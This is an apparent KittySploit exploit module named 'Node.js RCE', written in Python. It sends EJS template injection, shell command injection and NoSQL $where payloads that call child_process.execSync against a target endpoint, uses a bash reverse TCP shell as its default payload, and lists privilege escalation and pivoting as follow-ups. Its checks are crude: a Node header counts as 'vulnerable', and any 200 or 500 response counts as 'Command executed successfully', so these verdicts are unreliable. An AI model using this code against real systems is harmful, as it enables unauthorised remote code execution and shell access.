Node.js RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
import urllib.parse
import json


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Node.js RCE",
        "description": "Remote Code Execution exploit for Node.js applications including template injection, code injection, and command injection",
        "author": "KittySploit Team",
        "cve": [],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.MULTI,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "arch": "cmd",
            "platform": ["unix", "linux"],
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    exploit_path = OptString("/", "Path to vulnerable endpoint", required=False)
    command_param = OptString("cmd", "Parameter name for command injection", required=False)

    def check(self):
        """
        Check if target is Node.js
        """
        try:
            response = self.http_request(method="GET", path="/")
            if response:
                powered_by = response.headers.get('X-Powered-By', '').lower()
                if 'node' in powered_by or 'express' in powered_by:
                    return {
                        'vulnerable': True,
                        'reason': 'Node.js detected',
                        'confidence': 'medium'
                    }
            return {
                'vulnerable': False,
                'reason': 'Node.js not detected',
                'confidence': 'low'
            }
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def run(self):
        """
        Execute the exploit
        """
        try:
            print_status("Attempting Node.js RCE exploit...")
            
            path = self.exploit_path if self.exploit_path else "/"
            param = self.command_param if self.command_param else "cmd"
            command = self.payload
            
            # Try different Node.js injection methods
            payloads = [
                # Template injection (EJS)
                {param: f"<%= global.process.mainModule.require('child_process').execSync('{command}') %>"},
                # Command injection
                {param: f"; {command}"},
                {param: f"| {command}"},
                {param: f"`{command}`"},
                {param: f"$({command})"},
                # NoSQL injection with command execution
                {param: {"$where": f"this.constructor.constructor('return process')().mainModule.require('child_process').execSync('{command}')"}},
            ]
            
            for payload_data in payloads:
                print_info("Trying payload...")
                
                # Try POST
                if isinstance(list(payload_data.values())[0], dict):
                    headers = {'Content-Type': 'application/json'}
                    response = self.http_request(
                        method="POST",
                        path=path,
                        json=payload_data,
                        headers=headers,
                        allow_redirects=False,
                        timeout=10
                    )
                else:
                    response = self.http_request(
                        method="POST",
                        path=path,
                        data=payload_data,
                        allow_redirects=False,
                        timeout=10
                    )
                
                if response and response.status_code in [200, 500]:
                    print_success("Command executed successfully")
                    self.vulnerable()
                    return True
                
                # Try GET
                if not isinstance(list(payload_data.values())[0], dict):
                    encoded = urllib.parse.quote(str(list(payload_data.values())[0]))
                    response = self.http_request(
                        method="GET",
                        path=f"{path}?{param}={encoded}",
                        allow_redirects=False,
                        timeout=10
                    )
                    
                    if response and response.status_code in [200, 500]:
                        print_success("Command executed successfully")
                        self.vulnerable()
                        return True
            
            print_error("Exploitation failed")
            self.not_vulnerable()
            return False
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False